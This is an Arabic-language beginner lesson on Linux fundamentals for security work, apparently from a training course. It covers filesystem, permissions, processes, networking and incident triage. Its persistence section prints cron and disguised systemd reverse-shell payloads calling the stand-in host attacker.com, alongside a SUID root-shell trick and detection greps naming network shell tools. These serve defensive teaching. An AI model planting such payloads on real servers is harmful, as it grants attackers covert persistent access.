الأساسياتأساسي60mL03

Linux Fundamentals — من غير ما تخاف منه

الملفات، الصلاحيات، الـ processes — اللي بتستخدمه فعلاً كل يوم

#Linux#Bash#Permissions#Beginner

ليه أنت محتاج Linux أصلاً؟

تخيل السيناريو ده. أنت analyst جديد في SOC. الساعة 3 الفجر، alert: "suspicious outbound connection from web-prod-01". تفتح الـ ticket. السيرفر Linux. أنت طول عمرك Windows.

دخلت SSH. شفت prompt أسود. كتبت dir. قال "command not found". كتبت tasklist. نفس الحكاية.

حاولت تفتح Task Manager. مفيش. حاولت تشوف الـ network connections من واجهة. مفيش. والـ attacker لسه شغّال جوّه. والمدير بيسألك كل 10 دقايق "إيه الموقف؟".

الموقف؟ أنت ضايع. مش لإنك غبي — لإن أنت ما اتعلمتش الأداة.

كل أداة هجومية وحمائية محترمة بتشتغل على Linux. Kali، Parrot، 70% من سيرفرات الإنترنت، معظم الـ ICS، كل الـ containers، Android تحته Linux، حتى الـ macOS الـ shell بتاعه قريب جداً منه.

اوعى تقنع نفسك إنك ممكن تبقى محترف أمن وأنت بتخاف من الـ terminal. خلاص. الموضوع مش "نصيحة"، ده شرط دخول.

الهدف من الدرس
بعد ما تخلّصه هتفهم: الـ filesystem، الصلاحيات، العمليات، الشبكة، الـ persistence mechanisms، والأوامر اللي هتكتبها كل يوم — سواء أنت Red ولا Blue.

القصة كاملة — تحقيق على سيرفر مخترق بأدوات أساسية بس

خلّيني أمشّيك على سيناريو حقيقي. وصلك alert: "outbound traffic to suspicious IP". السيرفر web-prod-01. مفيش EDR. مفيش XDR. عندك SSH وأدوات الـ base system. ابدأ.

01
مين أنا ومين شغّال على السيرفر؟
$ id # # هويتي دلوقتي
$ who # # مين logged in حالياً
$ last -20 # # آخر 20 login — في حد دخل في وقت غريب؟
$ lastb -20 # # محاولات login فاشلة — brute force؟
02
إيه اللي شغّال؟
$ ps auxf # # كل العمليات بشكل شجري
$ ps aux | grep -E 'nc|wget|curl|python|perl|bash -i' # # أدوات بتستخدم في reverse shells
$ ps aux --sort=-%cpu | head # # أعلى استهلاك CPU — miner؟

لو لقيت python -c 'import socket...' أو bash -i >& /dev/tcp/...، ده reverse shell. صوّر الـ screen، ما تقفلش العملية لحد ما تجمع الأدلة.

03
الشبكة بتقول إيه؟
$ ss -tunap # # كل اتصالات TCP/UDP + العملية المالكة
$ ss -tunap | grep ESTAB # # اتصالات قائمة دلوقتي
$ # # اتصال طالع لـ IP غريب؟ خد الـ PID وروح اعرف العملية:
$ ls -la /proc/<PID>/exe # # المسار الفعلي للـ binary
$ cat /proc/<PID>/cmdline | tr '\0' ' ' # # الأمر كامل
04
فيه ملفات اتلمست لسه؟
$ find / -type f -mmin -60 -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null
$ find /tmp /var/tmp /dev/shm -type f 2>/dev/null # # المهاجمين بيحبوا الأماكن دي
$ find / -perm -4000 -type f -newer /etc/hostname 2>/dev/null # # SUID جديد — privesc backdoor
05
السجلات
$ grep 'Accepted' /var/log/auth.log | tail -50 # # logins ناجحة
$ grep 'sudo' /var/log/auth.log | tail -50 # # sudo activity
$ history # # تاريخ الـ shell — لو المهاجم نسي يمسحه
$ cat ~/.bash_history /home/*/.bash_history 2>/dev/null

كل ده بأدوات base system. مفيش tool فاخر. ده اللي بنقصد بيه "تبقى مرتاح في الـ command line".

نظام الملفات — الخريطة

text
/           ← الجذر
├── bin/    ← أوامر أساسية للجميع (ls, cp, mv)
├── sbin/   ← أوامر للـ root (fdisk, iptables)
├── etc/    ← ملفات الإعدادات (passwd, shadow, hosts)
├── home/   ← مجلدات المستخدمين
├── root/   ← مجلد المستخدم root
├── var/    ← متغير: logs, mail, web (/var/www)
├── tmp/    ← مؤقت — يُمسح عند إعادة التشغيل
├── usr/    ← برامج المستخدم (usr/local/bin)
├── proc/   ← افتراضي — معلومات العمليات والنواة
├── sys/    ← افتراضي — أجهزة وkernel
└── opt/    ← برامج طرف ثالث

المهم في الأمن: /etc/passwd, /etc/shadow, /etc/sudoers, /var/log/, /home/*/.ssh/, /proc/*/environ.

أوامر التنقل والملفات

$ pwd # المسار الحالي
$ ls -la # كل الملفات (حتى المخفية) مع التفاصيل
$ cd /var/log # ذهاب
$ find / -name 'config*' 2>/dev/null # ابحث في كامل النظام
$ grep -r 'password' /etc/ 2>/dev/null # ابحث عن نص
$ cat /etc/passwd # اعرض ملف
$ less /var/log/syslog # تصفّح ملف كبير (q للخروج)
$ head -20 file # أول 20 سطر
$ tail -f /var/log/auth.log # تابع ملف لحظياً

الصلاحيات — أهم مفهوم تفهمه

كل ملف ليه تلات مجموعات صلاحيات: المالك، الجروب، باقي الناس. وكل مجموعة ليها تلات حروف: r قراءة، w كتابة، x تنفيذ. بسيطة لما تستوعبها، خطيرة لما تتجاهلها.

زي ما البواب يقفل الباب الكبير ويسيب شباك الحمام مفتوح. الـ permissions لو واحد فيهم غلط، الباقي مالوش لازمة.

text
-rwxr-xr--  1 alice  staff  120 Apr 30 10:15 script.sh
 │└┬┘└┬┘└┬┘
 │ │  │  └── الجميع: قراءة فقط
 │ │  └───── المجموعة: قراءة + تنفيذ
 │ └──────── المالك: كل شيء
 └────────── - = ملف عادي ('d' = مجلد، 'l' = symlink)
$ chmod 755 file # rwxr-xr-x — الأكثر شيوعاً للسكربتات
$ chmod +x script.sh # أضف تنفيذ
$ chown alice:staff f # غيّر المالك والمجموعة
$ # # في الأمن: ابحث عن SUID — ملفات تشتغل بصلاحيات مالكها:
$ find / -perm -4000 -type f 2>/dev/null
$ # # القائمة دي مهمة جداً لـ privilege escalation — راجع GTFOBins
قصة الـ SUID — ليه /usr/bin/passwd خطر مفهوم؟
لما أنت user عادي وعايز تغيّر كلمة سرك، الكلمة دي بتتكتب فين؟ في /etc/shadow. الملف ده root فقط يقدر يكتب فيه. طب أنت كـ user عادي، إزاي بتغيّر كلمتك؟

الإجابة: /usr/bin/passwd عليه SUID bit. يعني لما أنت تشغّله، البرنامج بيشتغل بصلاحيات المالك بتاعه — اللي هو root، مش بصلاحياتك أنت. فبيقدر يكتب في shadow.

ده تصميم سليم لـ passwd. المشكلة: لو في binary تاني عليه SUID وأنت تقدر تتحكم في إدخاله، أنت دلوقتي بتشغّل كود كـ root. مثال: find عليه SUID؟ find . -exec /bin/sh \; = root shell فوري.

اللي بيحصل فعلياً: أدمن مكسول كتب script لازم يشتغل كـ root، حطّ عليه SUID علشان "يخلّص الموضوع". ما اتنبهش إن أي user يقدر يستغله. أنت كـ pentester بتمشي على find / -perm -4000 وبتلاقي الجوهرة دي.

الحماية: find / -perm -4000 -type f 2>/dev/null دورياً، قارن بقائمة baseline، أي إضافة جديدة = حقّق فيها. ولو ممكن، اشتغل بـ capabilities بدل SUID — أدق وأقل خطر.

المستخدمون والـ root

  • /etc/passwd — قائمة المستخدمين (مقروء للجميع).
  • /etc/shadow — كلمات السر مهشّمة (root فقط).
  • /etc/sudoers — من يحق له sudo.
$ id # هويتي و مجموعاتي
$ whoami # اسم المستخدم
$ sudo -l # أوامر مسموحة لي بـ sudo (مهم للـ priv esc)
$ su - # تحول لـ root
$ passwd # غيّر كلمة سرك

العمليات

$ ps aux # كل العمليات
$ ps -ef --forest # عرض شجري
$ top # حي + متفاعل (q للخروج)
$ htop # أجمل من top
$ kill -9 1234 # اقتل عملية بـ PID 1234
$ pgrep nginx # ابحث عن PID لاسم
$ # ابحث عن أوامر مشبوهة في الذاكرة:
$ ps aux | grep -E 'nc|wget|curl|python -c'

الشبكة — أوامر يومية

$ ip a # كل الواجهات و IPs
$ ip r # جدول التوجيه (gateway افتراضي)
$ ss -tulpn # كل المنافذ المفتوحة + العملية المالكة (بديل netstat)
$ curl -I https://example.com # رؤوس HTTP فقط
$ dig example.com # استعلام DNS
$ nslookup example.com
$ tcpdump -i eth0 -nn port 80 # التقط حزم port 80
$ traceroute 8.8.8.8 # مسار الحزم

إعادة التوجيه والـ pipes

$ command > out.txt # أعد STDOUT إلى ملف (يكتب فوقه)
$ command >> out.txt # أضف للملف
$ command 2> err.txt # STDERR منفصل
$ command > out.txt 2>&1 # كل شيء لملف واحد
$ command1 | command2 # اربط — مخرج الأول يصبح مدخل الثاني
$ # مثال أمني — ابحث عن IPs غير ناجحة في log:
$ grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head

أوامر مفيدة جداً للأمن

bash
# تجميع info كامل عن مستخدم:
id alice && groups alice && lastlog -u alice

# اعرض كل cron jobs على النظام:
for u in $(cut -f1 -d: /etc/passwd); do crontab -u $u -l 2>/dev/null; done

# ابحث عن ملفات حديثة التعديل (ربما تركها مهاجم):
find /tmp /var/tmp /dev/shm -type f -mmin -60 2>/dev/null

# اعرض حزم منصبة (للبحث عن أداة قديمة بثغرة):
dpkg -l | grep -i openssh    # Debian/Ubuntu
rpm -qa | grep -i openssh    # RHEL/CentOS

# تشيك تكامل ملف:
sha256sum important.bin

# تشفير سريع:
echo "hello" | base64
echo "aGVsbG8K" | base64 -d

قصة الـ Persistence — cron و systemd

المهاجم اللي دخل سيرفرك مش هيقعد بصّ. هو عايز يفضل جوّه حتى لو الـ shell اتقفلت أو السيرفر اتعمله reboot. ده اسمه persistence. وفي Linux، أشهر مكانين: cron و systemd.

01
cron — الكلاسيكي اللي مبيموتش

السيناريو: المهاجم دخل بـ web shell. كاتب سطر واحد في crontab:

bash
# يشتغل كل 5 دقايق، يفتح reverse shell
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

عملت reboot؟ مفيش فرق. قفلت الـ web shell؟ مفيش فرق. كل 5 دقايق، السيرفر بنفسه بيتصل بالمهاجم. ليه ده شغّال؟ لإن cron بيشتغل كـ daemon من أول لحظة الـ boot.

الحماية — كده تلاقيه:

$ # # كل cron jobs لكل user على النظام:
$ for u in $(cut -f1 -d: /etc/passwd); do echo "=== $u ==="; crontab -u $u -l 2>/dev/null; done
$ ls -la /etc/cron.* /etc/crontab # # system-wide crons
$ ls -la /var/spool/cron/crontabs/ # # user crons (Debian/Ubuntu)
$ grep -r 'tcp\|wget\|curl\|bash -i' /etc/cron* /var/spool/cron/ 2>/dev/null
02
systemd — الجديد، الأنيق، والأخطر

cron قديم وأي blue team عنده alerts عليه. المهاجمين الأذكى انتقلوا لـ systemd. ليه؟ لإن أي service systemd ممكن تكون legitimate، فبيتستّر وسط الضوضاء.

bash
# /etc/systemd/system/syslog-helper.service
[Unit]
Description=System Log Helper

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/attacker.com/4444 0>&1; sleep 60; done'
Restart=always

[Install]
WantedBy=multi-user.target

بعدها: systemctl enable --now syslog-helper. الاسم "syslog-helper" مقصود — يخلي الـ admin يعدّيه لما يسكان. الـ service هيعيد نفسه مع الـ boot، ولو فشل هيـ restart نفسه.

الحماية:

$ systemctl list-unit-files --state=enabled # # كل services شغّالة مع البوت
$ ls -la /etc/systemd/system/*.service # # custom services (مش اللي جايين مع الـ packages)
$ systemctl list-units --type=service --state=running
$ # # ابحث عن services بتشغّل bash/python/curl:
$ grep -rE 'ExecStart=.*(bash|python|curl|wget|nc)' /etc/systemd/system/ 2>/dev/null
$ # # أي service مش معروفة، حقّق فيها:
$ systemctl cat <service-name>
الحماية / Defense
اكتبها على ظهر إيدك: خد baseline من crontab -l + systemctl list-unit-files على سيرفر نضيف. أي اختلاف عن الـ baseline = تحقيق فوري. ولو في المؤسسة، خلي auditd بيراقب /etc/cron* و /etc/systemd/system/ — أي تعديل فيهم alert. لو ما عملتش الـ baseline ده، أنت ونصيبك.

جدول الأوامر اليومية — اللي هتكتبه فعلاً

الموقفالأمرليه؟
عرفت إيه شغّال على بورتss -tulpn | grep :443يقولك العملية المالكة كمان، مش بس البورت
في حد بياكل CPUps aux --sort=-%cpu | headأعلى 10 عمليات استهلاكاً — miner؟
السيرفر بطيء فجأةtop ثم iotopCPU ولا I/O؟ كل واحد سبب مختلف
تدوّر على ملفfind / -name "*.conf" 2>/dev/nullالـ 2>/dev/null بيكتم رسائل permission denied
تدوّر على نص جوّه ملفاتgrep -rni "password" /etc/ 2>/dev/nullrecursive + case insensitive + line numbers
تتابع log حيtail -f /var/log/auth.logأي سطر جديد بيظهر فوراً
الـ disk اتملاdu -sh /* 2>/dev/null | sort -hمين أكبر مجلد، human readable
لاقيت process مشبوهls -la /proc/<PID>/exeالمسار الفعلي للـ binary حتى لو اتمسح
ملف غريب في /tmpfile suspicious.bin + strings suspicious.bin | headإيه نوعه + أي نصوص جواه
بتفك base64echo "..." | base64 -dالمهاجمين بيخبّوا الأوامر بـ base64
بتعمل reverse DNSdig -x 8.8.8.8PTR lookup — مين الـ IP ده
بتعمل packet capturetcpdump -i any -nn -w cap.pcap port 443-nn = ما تحلّش الـ DNS، أسرع
تـ enum usersawk -F: '$3 >= 1000 {print $1}' /etc/passwdUIDs ≥ 1000 = users فعليين
sudo permissionssudo -lإيه اللي مسموح ليّ كـ sudo — أول حاجة في privesc
آخر loginslast -20 + lastb -20ناجح + فاشل، الفرق مهم

أهم ملفات تنظر إليها كمدافع/مهاجم

ملفات اعتماد ومفاتيح
~/.ssh/, ~/.aws/credentials, ~/.docker/config.json, /var/lib/jenkins/secrets/
سجلات
/var/log/auth.log, /var/log/syslog, /var/log/audit/audit.log, ~/.bash_history
إعدادات حساسة
/etc/sudoers, /etc/ssh/sshd_config, /etc/passwd, /etc/shadow, /etc/cron.d/
البقاء (Persistence)
~/.bashrc, ~/.profile, /etc/rc.local, systemd units, cron, at jobs

ممارسة

  1. ادخل لـ Kali VM، ونفّذ كل أوامر الدرس ده. مش تقرأها — تكتبها بإيدك.
  2. أنشئ مستخدمين، اضبط صلاحيات على ملفات، اقرأ /etc/shadow كـ root و كـ user عادي — احس الفرق بنفسك.
  3. دور على SUID binaries على Kali، قارن بـ gtfobins.github.io — جرّب exploit واحد على الأقل.
  4. اعمل cron job يكتب timestamp كل دقيقة في /tmp/test.log، شوفه شغّال، بعدين امسحه.
  5. اعمل systemd service بسيطة، فعّلها، شوف systemctl status، وامسحها بنظافة.
  6. اقرأ man bash — لو مرة واحدة في حياتك.

الخلاصة الناشفة

  • Linux مش option. لو خايف من الـ terminal، أنت مش في المجال ده.
  • الـ filesystem ليه منطق — احفظ /etc، /var/log، /proc، الباقي يجي مع الوقت.
  • SUID = أي binary بصلاحيات مالكه. find / -perm -4000 أول حاجة في privesc.
  • cron + systemd = أشهر مكانين للـ persistence. اعملهم baseline، راقب التغيير.
  • كل alert في SOC على سيرفر Linux، أنت محتاج ps, ss, find, grep — كده.
  • لو ما اتعلمتش الـ shell، الـ tools الفاخرة مش هتنفعك. هي بتأتمت اللي أنت بتعمله بإيدك. لو ما بتعرفش تعمله بإيدك، الـ tool بيتحوّل لصندوق أسود.